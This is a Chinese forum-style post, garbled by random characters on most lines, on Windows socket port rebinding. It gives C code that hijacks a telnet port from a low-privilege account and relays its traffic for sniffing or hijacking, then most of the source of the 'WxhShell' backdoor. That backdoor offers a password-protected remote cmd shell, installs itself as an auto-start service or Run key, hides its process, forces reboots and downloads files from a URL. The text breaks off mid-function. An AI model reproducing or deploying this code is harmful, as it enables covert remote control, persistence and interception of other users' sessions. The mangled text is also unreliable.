在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7UeE(=Hr5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
c+)36/; X E7d~# saddr.sin_family = AF_INET;
r_qncy,F &etL&s v saddr.sin_addr.s_addr = htonl(INADDR_ANY);
F:[Nw#gj/ !;xf>API bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
r_!{!i3B -+j9X;h: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0{^l2?mgSb 0XBBA0tq 这意味着什么?意味着可以进行如下的攻击:
tS_xa PU]7c2.y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
>S-N|uR6 : pE-{3I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@M1yBN &UJTy' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Kd AR)EU> 8S[<[CH 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
LXTipWKz |)|vG_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
$w";*">:0 O|^6UH 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<.?^LT 4:%El+,_Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dctA`W@:- M rH%hRV6R #include
jiw`i #include
b& _i/n( #include
gs`27Gih #include
a-UD_|! DWORD WINAPI ClientThread(LPVOID lpParam);
XSHwE)m int main()
zn?a|kt {
^~YmLI4 WORD wVersionRequested;
4/mj"PBKL DWORD ret;
2jrX WSADATA wsaData;
mXN1b! BOOL val;
=w;xaxjL SOCKADDR_IN saddr;
T^=Ee?e SOCKADDR_IN scaddr;
)n3biQL_ int err;
CpP$HrQ SOCKET s;
k{u%p < SOCKET sc;
S*DBY~pZy int caddsize;
{ZBb.$}RC HANDLE mt;
B#Oc8`1Y DWORD tid;
D .oS8' wVersionRequested = MAKEWORD( 2, 2 );
NNREt:+kr
err = WSAStartup( wVersionRequested, &wsaData );
Jz:W-o if ( err != 0 ) {
]=
QCCC printf("error!WSAStartup failed!\n");
>/OXC+=^4 return -1;
}mT%N eS }
RGPU~L saddr.sin_family = AF_INET;
LTls]@N * v7& T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[0,q7d?" oE|{|27X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
scPq\Qd?O saddr.sin_port = htons(23);
fb=$<0Ocj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uK&wS#uY {
C6=;(=?C printf("error!socket failed!\n");
c402pj
return -1;
?\p%Mx? }
|Nx!g fU val = TRUE;
?PxYS%D_L //SO_REUSEADDR选项就是可以实现端口重绑定的
yfw>y=/p if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.]P;fCQmM {
bEXHB printf("error!setsockopt failed!\n");
eJ)KE5%n# return -1;
O t4+VbB6 }
qu~"C, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
T[$hYe8%^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
I9j+x]) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
m&jt[
8!fAv$g0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&+r
;> {
kFZu/HRI ret=GetLastError();
0-MasI&b printf("error!bind failed!\n");
ujp,D#xHP return -1;
=
]HJa }
[,?A$Z*Z| listen(s,2);
BMsy}08dQ while(1)
1X_!%Z {
O}iKPY8K caddsize = sizeof(scaddr);
2d J)4 //接受连接请求
c68$pgG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
d~bH!P if(sc!=INVALID_SOCKET)
S$_Ts1Ge6 {
zSvHv s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
IhKas4 if(mt==NULL)
)^2jsy
-/ {
!rmo*-=^= printf("Thread Creat Failed!\n");
(=/L#Yg_ break;
VqT[ca\ }
KdQ|$t }
*wZV*)} CloseHandle(mt);
EjCzou }
.?)oiPW# closesocket(s);
3K]0sr WSACleanup();
8i$`oMv[y return 0;
r\- k/ 0 }
:qKY@-t7H DWORD WINAPI ClientThread(LPVOID lpParam)
N0KRND {
FJH8O7 SOCKET ss = (SOCKET)lpParam;
k 5kX SOCKET sc;
_[Wrd?Z unsigned char buf[4096];
T{xo_u{Q SOCKADDR_IN saddr;
QF6JZQh< long num;
}(IDPaJ DWORD val;
(j
Q6~1 DWORD ret;
e~[z]GLO% //如果是隐藏端口应用的话,可以在此处加一些判断
XQ y|t"Vq> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tl#s: saddr.sin_family = AF_INET;
f;dU72]q+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
tF1%=&ss saddr.sin_port = htons(23);
PS;*N8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nM}`H'0 {
<G =@Gl printf("error!socket failed!\n");
D??/=`|8 return -1;
hds4_ }
ITPpT val = 100;
Pu*UZcXY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zgTi Az {
euC,]n. ret = GetLastError();
;P#*R3
return -1;
[`dipLkr }
dR{
V,H7N if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5!p'n#_ {
+>({pHZ<S ret = GetLastError();
nOzTHg8 return -1;
J, >PLQAa }
nL~
b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
> PA,72e {
!}48;P l printf("error!socket connect failed!\n");
fbkjK`_q closesocket(sc);
j"8N)la closesocket(ss);
' "
yl>" return -1;
1OS3Gv8jc~ }
5aQg^f%\ while(1)
)S?}huX {
g+*[CKO{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
LRs;>O //如果是嗅探内容的话,可以再此处进行内容分析和记录
F'*4:WD7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
7?#32B
Gr num = recv(ss,buf,4096,0);
l]&)an if(num>0)
C>ZeG
Vq send(sc,buf,num,0);
8
\Oiv$r else if(num==0)
)Cfrqe1^ break;
A[a+,TN{ num = recv(sc,buf,4096,0);
\(L^ /]}G) if(num>0)
2wvDC@ send(ss,buf,num,0);
lNAHn<ht else if(num==0)
P^-9?uBno break;
G$<0_0GF }
*h6i9V%' closesocket(ss);
PD4E&k closesocket(sc);
iq-o$6Pg return 0 ;
OK(d& }
t68RWzqiG[ miqCUbcU IrC=9%pd$R ==========================================================
V;(LeuDH| 5Bo)j_Qo 下边附上一个代码,,WXhSHELL
|&vuK9q q#Vf2U55m ==========================================================
Jmx}r,j lsCh K #include "stdafx.h"
~O-8 h0d3 -^DB?j+ #include <stdio.h>
AF6'JxG7 #include <string.h>
/G ;yxdb #include <windows.h>
T:$_1I $ #include <winsock2.h>
M='Kjc>e #include <winsvc.h>
w3D_ c~ #include <urlmon.h>
VWa(@A =d}3>YHS #pragma comment (lib, "Ws2_32.lib")
Km7 #pragma comment (lib, "urlmon.lib")
4aC#Cv:0 |{T2|iJI #define MAX_USER 100 // 最大客户端连接数
bE~lc}% #define BUF_SOCK 200 // sock buffer
.2xkf@OP #define KEY_BUFF 255 // 输入 buffer
nCU4a1rZ >.|gmo>b #define REBOOT 0 // 重启
at!?"u #define SHUTDOWN 1 // 关机
"RLb wm~ CCV~nf #define DEF_PORT 5000 // 监听端口
5mU_S\)4:z s9iM hCu| #define REG_LEN 16 // 注册表键长度
WmA578|l! #define SVC_LEN 80 // NT服务名长度
+Sfv.6~v ,"o\_{<z // 从dll定义API
Bh?;\D'YC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$$a"A(Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
GSp1,E2J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
JFZ p^{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3>+;G4 (yfTkBy // wxhshell配置信息
hlRE\YO&8R struct WSCFG {
T (qu~} int ws_port; // 监听端口
KVuv%? char ws_passstr[REG_LEN]; // 口令
2xX7dl(cC int ws_autoins; // 安装标记, 1=yes 0=no
cc[w%jlA# char ws_regname[REG_LEN]; // 注册表键名
`f'P char ws_svcname[REG_LEN]; // 服务名
[C$ 0HW char ws_svcdisp[SVC_LEN]; // 服务显示名
jKzjTn9{E char ws_svcdesc[SVC_LEN]; // 服务描述信息
&+v&Dd& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o&]qjFo\m int ws_downexe; // 下载执行标记, 1=yes 0=no
e\<I:7%Rg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
z2V!u\It char ws_filenam[SVC_LEN]; // 下载后保存的文件名
cnR>)9sX Dng^4VRd };
U^xFqJY6 uyj5}F+O // default Wxhshell configuration
EO5Vg struct WSCFG wscfg={DEF_PORT,
+~-|(
y "xuhuanlingzhe",
ZU`"^FQ3A 1,
5M*p1^ > "Wxhshell",
y;;@T X "Wxhshell",
yC[}gHv "WxhShell Service",
<6@Db$- "Wrsky Windows CmdShell Service",
>2a~hW|, "Please Input Your Password: ",
LE;c+(CAU 1,
?g'l/xuRe "
http://www.wrsky.com/wxhshell.exe",
0PN{
+<?. "Wxhshell.exe"
WI%,m~ };
1n^xVk-G b#sO1MXv // 消息定义模块
i|t$sBIh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=6Z1yw7s char *msg_ws_prompt="\n\r? for help\n\r#>";
v[m>;Ubg& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hYLu char *msg_ws_ext="\n\rExit.";
%:NI@59 char *msg_ws_end="\n\rQuit.";
#u~8Txt char *msg_ws_boot="\n\rReboot...";
)lZb=t char *msg_ws_poff="\n\rShutdown...";
U-@\V1;C char *msg_ws_down="\n\rSave to ";
~%]+5^Ka] =_5-z|< char *msg_ws_err="\n\rErr!";
n'SnqJ&} char *msg_ws_ok="\n\rOK!";
Qi9SN00F. o.,hCg)X char ExeFile[MAX_PATH];
r_QWt1K int nUser = 0;
m9r
X HANDLE handles[MAX_USER];
V[~/sc ) int OsIsNt;
w0pH|$"/P 1'ZBtX~A SERVICE_STATUS serviceStatus;
xu3qX" SERVICE_STATUS_HANDLE hServiceStatusHandle;
bFcI\Q{4 +BESO // 函数声明
vV%w#ULxE~ int Install(void);
9BP-Iet int Uninstall(void);
'h$1vT int DownloadFile(char *sURL, SOCKET wsh);
`U(FdT int Boot(int flag);
(f7R~le void HideProc(void);
ct`89~" int GetOsVer(void);
&U:;jlST9 int Wxhshell(SOCKET wsl);
Au9Rr3n void TalkWithClient(void *cs);
<%!EI@N int CmdShell(SOCKET sock);
8/k*"^3 int StartFromService(void);
LqNsQu"; int StartWxhshell(LPSTR lpCmdLine);
4h-tR Pwf":U) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L+&$/1h] VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZjWI~"] y6fYNB // 数据结构和表定义
+ps(9O/B> SERVICE_TABLE_ENTRY DispatchTable[] =
:M3Fq@w= {
r+>gIX+Fl {wscfg.ws_svcname, NTServiceMain},
@u?m4v{ {NULL, NULL}
Q/I/>6M7UZ };
r3'0{Nn+ l4RZ!K*X_" // 自我安装
`#R[x7bA1 int Install(void)
)
}(Po_ {
tmKHT char svExeFile[MAX_PATH];
^DD]jx HKEY key;
EjrK.|I0 strcpy(svExeFile,ExeFile);
",Mr+;;:[ .r4*?> // 如果是win9x系统,修改注册表设为自启动
Kqm2TMO]>V if(!OsIsNt) {
*|Tx4Qt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OQ&l/|{O0? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XkDIP4v% RegCloseKey(key);
]V^ >aUlj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`p#tx.o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3s;^p,9
Y RegCloseKey(key);
*lc|iq\ return 0;
<- L}N ' }
7v't# = }
$Y,y~4I }
E%LUJx} else {
T\q: qz95) // 如果是NT以上系统,安装为系统服务
a5caryZ"z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\xG_q>1_ if (schSCManager!=0)
5X&Y~w,poU {
-!q^/ux SC_HANDLE schService = CreateService
Ogv9_X8 (
x n?$@ schSCManager,
$O3.ex V wscfg.ws_svcname,
xIA] 5@;a wscfg.ws_svcdisp,
AO,
o|,#4F SERVICE_ALL_ACCESS,
KT[ZOtu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,<k%'a!B
SERVICE_AUTO_START,
nr&bpA/ SERVICE_ERROR_NORMAL,
bbM^J svExeFile,
?zex]!R NULL,
MX? *jYl NULL,
#lR-?Uh NULL,
,.Lwtp,n NULL,
~[%_]/#&%z NULL
I3HO><of );
4O<sE@X if (schService!=0)
zZ6m`]{B9? {
By waD? CloseServiceHandle(schService);
KRz~3yH{c CloseServiceHandle(schSCManager);
NOg/rDs'{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
O uNPD q% strcat(svExeFile,wscfg.ws_svcname);
4sRM"w; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\3OEC` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C~egF=w RegCloseKey(key);
~m_{&,CA. return 0;
?7}ybw3t] }
|.VSw }
!B 4z U:d CloseServiceHandle(schSCManager);
d?&`ZVl }
Mgr?D }
((C|&$@M ! ui return 1;
~Oa$rqu%m }
)X-'Q - u?"="-^ // 自我卸载
?r KbL^2 int Uninstall(void)
/v^'5j1o {
PChe w3 HKEY key;
6#7hMQ0&;O
yUj`vu2 if(!OsIsNt) {
vn+XY=Qnr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=WjHf8v; RegDeleteValue(key,wscfg.ws_regname);
+q'\rpt RegCloseKey(key);
#B<EMGH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M^[;{p2uZ RegDeleteValue(key,wscfg.ws_regname);
Ie(i1?`A8 RegCloseKey(key);
||JUP}eP return 0;
?V,q&=9 }
r[4n2Mys }
sEFQ8S }
}%p:Xv@X! else {
kL%ot<rt)w H,]8[qT< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u
[._RA if (schSCManager!=0)
3l%Qd< {
rw,Ylr:3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"aOs#4N if (schService!=0)
9T;4aP>6j# {
r5DRF4,7 if(DeleteService(schService)!=0) {
l3sF/zkH CloseServiceHandle(schService);
Ss+F CloseServiceHandle(schSCManager);
&J)<1!| return 0;
'|DW#l\n }
q0NFz mG CloseServiceHandle(schService);
&cL1 EQ( }
aOH|[ CloseServiceHandle(schSCManager);
8
MQq3 }
<%m YsaM }
\IE![=p\w "iA0hA return 1;
@khFk.LBD }
6N#hN)/ g}NO$?ndg // 从指定url下载文件
m<h%BDSzr{ int DownloadFile(char *sURL, SOCKET wsh)
fZ$b8 {
+4s]#{mP HRESULT hr;
_K o#36.S char seps[]= "/";
;cXw;$&D char *token;
j(=w4Sd_W char *file;
~Q&J\'GQH char myURL[MAX_PATH];
KLyRb0V char myFILE[MAX_PATH];
Q#\Nhc --WQr]U/ strcpy(myURL,sURL);
iApq!u, token=strtok(myURL,seps);
wXKtQ#o} while(token!=NULL)
xU.1GI%UPu {
6Ijt2c'A} file=token;
M]s\F(*ib token=strtok(NULL,seps);
xqt?z n }
k7^hcth BS9VwG<Z GetCurrentDirectory(MAX_PATH,myFILE);
L,}'ST strcat(myFILE, "\\");
i"h\*B= strcat(myFILE, file);
'X;cgAq8( send(wsh,myFILE,strlen(myFILE),0);
h[W`P%xZ send(wsh,"...",3,0);
pey=zR! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
N d].(_ if(hr==S_OK)
geme_ return 0;
Vu3DP+u|i else
X'`n>1z return 1;
QTy=VLk43 }bb,Iib }
j'D%eQI,V Lc{AB!Br // 系统电源模块
dua F?\vv int Boot(int flag)
'Aq^z%| {
DpRMXo[ HANDLE hToken;
AY /9Io- TOKEN_PRIVILEGES tkp;
bf_
>?F^ t<45[~[ if(OsIsNt) {
=-r"@2HBq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
2R\K!e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
K(+=V)'Dz tkp.PrivilegeCount = 1;
JWNN5#=fQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ZFtx&vrP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
tx09B)0 if(flag==REBOOT) {
=t,oj6P~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
v3DK0 MW return 0;
_}F&^ }
n9Fq^^? else {
2xNR=u` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
NfoHQU<n return 0;
Cff6EE }
x{pj`'J) }
&{Z+p(3Gj else {
|Yl i~Qx if(flag==REBOOT) {
;>PHkJQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-HF?1c return 0;
Bl+\|[yd }
7m#EqF$P else {
U^_\V BAk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
gt8dFcm|s return 0;
"09v6Tx }
|>ztx}\ }
/we]i1-9 ThV>gn5 return 1;
KpGx<+0p }
_gMr]%Q ,a>Dv@$Y // win9x进程隐藏模块
CbZ;gjgY* void HideProc(void)
aj4ZS {
t^&hG7L_m, ozY$}|sjDT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
'-"[>`[q if ( hKernel != NULL )
6$OmOCA% {
;L$-_Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7)U
ik}0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
jGouwta FreeLibrary(hKernel);
Kb]}p }
ICz:>4M-dn Tv#d>ZSD return;
q]1p Q)\'p }
*C55DO^w k9eyl) // 获取操作系统版本
|cd"cx+ int GetOsVer(void)
GG%;~4#2 {
53hX%{3 OSVERSIONINFO winfo;
`Ij EwKra winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
dw;<Q GetVersionEx(&winfo);
^Zvb3RJ g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1Xi>&;], return 1;
F;_c x else
;'Hu75ymo return 0;
8AW}7.<5 }
t<dFH}U`w gdCit-3 // 客户端句柄模块
J<L\IP?% int Wxhshell(SOCKET wsl)
p9jC-&: {
9Tr ceL; SOCKET wsh;
@_t=0Rc struct sockaddr_in client;
[PN2^ DWORD myID;
--diG$x. onmpMU7w while(nUser<MAX_USER)
\s[L=^! {
p8XvfM int nSize=sizeof(client);
$S' TW3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
}Tk:?U{ if(wsh==INVALID_SOCKET) return 1;
0Sk~m4fj( ,~,q0PA7J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
` Ft-1eE if(handles[nUser]==0)
%7-(c
closesocket(wsh);
'0~?zP else
9BP'[SM%), nUser++;
_"x%s }
@H$8;CRM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Z79 6;qk X2I_,k'fQ return 0;
Q_p&~ PNy5 }
phG*It} RSj8T< // 关闭 socket
J|hVD void CloseIt(SOCKET wsh)
I*j~5fsS' {
fJ\?+, closesocket(wsh);
p&$PsgR nUser--;
R|}4H*N ExitThread(0);
A",}Ikh='` }
"*/IP9?] lH?jqp // 客户端请求句柄
Ohj^Z&j void TalkWithClient(void *cs)
Z&?4<-@6\p {
J~J+CGT~2 Y=|20Y\K SOCKET wsh=(SOCKET)cs;
MCTJ^ g"D char pwd[SVC_LEN];
G6{'|CV char cmd[KEY_BUFF];
wQhu U char chr[1];
IhK
SwT int i,j;
CAvi P61T 0\"#Xa+}8 while (nUser < MAX_USER) {
{S+?n[1r\ ]v5/K if(wscfg.ws_passstr) {
~9APc{"A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AH/^v;- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'_7rooU9 //ZeroMemory(pwd,KEY_BUFF);
\"RCJadK i=0;
C7R3W, while(i<SVC_LEN) {
'bLP#TAzf N LQ".mM+ // 设置超时
x&J\ swN9 fd_set FdRead;
OA6i/3 #8 struct timeval TimeOut;
]=ApYg7! FD_ZERO(&FdRead);
@",#'eC" FD_SET(wsh,&FdRead);
,<K+.7,)E TimeOut.tv_sec=8;
;{H Dz$ TimeOut.tv_usec=0;
KyT=:f
V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p{_*<"cfYn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Kv!:2br &d6ud| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9 4H')( pwd
=chr[0]; aY,Bt
if(chr[0]==0xd || chr[0]==0xa) { \ ;]{`
pwd=0; +J{ErsG?6P
break; V.$tq
} EUI*:JU-
i++; `Rq|*:LV
} ~vpF|4Zn5
RFS}!_t+|
// 如果是非法用户,关闭 socket -Wmb
M]Z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Q(\vl@N=
} 2brY\c
F
@}Ry7H0O
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Sn'!Nq>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3)CIqN
nG5\vj,zB
while(1) { 4?@#w>(
YR~e_cA:
ZeroMemory(cmd,KEY_BUFF); 3SbZD
UE5,Ml~X
// 自动支持客户端 telnet标准 kR^">s/H#
j=0; !D{z. KO
while(j<KEY_BUFF) { eJ<P
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SfPQ;s'
cmd[j]=chr[0]; <4;,
y*"n
if(chr[0]==0xa || chr[0]==0xd) { e~)4v
cmd[j]=0; q Sv!5&u
break; 8r[TM
} H'k~;
j++; ND?"1/s
} fX,O9d$
K\ B!tk
// 下载文件 Uv.Xw} q
if(strstr(cmd,"http://")) { \6APU7S
send(wsh,msg_ws_down,strlen(msg_ws_down),0); NRG~ya >
if(DownloadFile(cmd,wsh)) or;VmU8$zb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cy
mC?8<
else OPq|4xu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jn|<G
} 6=JJ!`"<2
else { NW0se
DL
`g(#~0R
switch(cmd[0]) { DH_~,tK9
U)-aecB!
// 帮助 t'W6Fmwkx
case '?': { pcOi%D,o
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .^F&6'h1H
break; ?XyrG1('
} T$r/XAs
// 安装 /i@.Xg@:
case 'i': { zSsBbu:
if(Install()) ;XZN0A2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <)O#Y76s
else m^ar:mK@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3kGg;z6
break; hTby:$aCg
} (?XIhpd
// 卸载 ]CS
N7Q+l
case 'r': { GpXf).a@
if(Uninstall()) PPpaH!(D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;2fzA<RkK
else p.4Sgeh#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^"/TWl>jB
break; g_tEUaiK
} y}U'8*,
// 显示 wxhshell 所在路径 60>g{1]
case 'p': { %(?;`
char svExeFile[MAX_PATH]; v/]xdP^Z
strcpy(svExeFile,"\n\r"); T72Z<h|<
strcat(svExeFile,ExeFile); Op9+5]XF
send(wsh,svExeFile,strlen(svExeFile),0); !.@:t`w
break; {~EsO1p
} l_
x jsu
// 重启 *E|3Vy{4
case 'b': { r`)'Kd
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZS_
z
if(Boot(REBOOT)) #>5T,[{?j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'>b)wY](
else { e*D,2>o
closesocket(wsh); 1Nv qtVC
ExitThread(0); 0!:%Ge_
} m9D*I1
break; +]H!q
W:
} 9Z 6
// 关机 mv*M2NuhT
case 'd': { m5?t<H~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 11A;z[Zk
if(Boot(SHUTDOWN)) }b<w \9AF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kOel
!A
else { ?6MUyH]a
closesocket(wsh); yzNDXA.
ExitThread(0); URr{J}5
} vsq
|m5
break; Qq.Ja%Zq
} YcSPU(
// 获取shell \/Zo*/
case 's': { 6k|f]BCL
CmdShell(wsh); $ O;a~/T
closesocket(wsh); R&/"?&pfa
ExitThread(0); ,;h}<("q
break; [RDY(}P%
} b^P\Kky
// 退出 [F27i#'I]
case 'x': { u@4khN:
^p
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7zNfq.Ni~
CloseIt(wsh); ?IiFFfs
break; )b|xzj @
} f_. 0 uM
// 离开 4)snt3k
case 'q': { %W2
o`W$
send(wsh,msg_ws_end,strlen(msg_ws_end),0); C8 $KVZ
closesocket(wsh); wFL7JwK:G
WSACleanup(); 8(-N;<Ef2
exit(1); lp1GK/!s
break; v +?'/Q%
} 2<_|1%C
} 4_ZH Y?VRd
} 1=jwJv.^/
)},/=#C0
// 提示信息 7C@m(oK
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <ZoMKUuB
} *Y ?&N2@c
} n=h!V$X
|f[:mO
return; %/K;!'7
} ~:UAL}b{\~
_&$nJu
// shell模块句柄 [ldx_+xa:E
int CmdShell(SOCKET sock) W=!D[G R
{ tj" EUqKQ
STARTUPINFO si; pxQh;w
ZeroMemory(&si,sizeof(si)); fjy2\J!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ].x`Fq3
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4~0@(3
PROCESS_INFORMATION ProcessInfo; SKSI\]Cc
char cmdline[]="cmd"; 9P-I)ZqL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8wzQr2:
return 0; TI637yqCU
} #Gu(h(Z s
[F^j(qTR
// 自身启动模式 [mG:PTK3
int StartFromService(void) XCE<].w
{ (!diPwcv
typedef struct TZE;$:1vx>
{ udX!R^8jE
DWORD ExitStatus; 5[rA>g~
DWORD PebBaseAddress; *> 7Zc
DWORD AffinityMask; c8qwsp
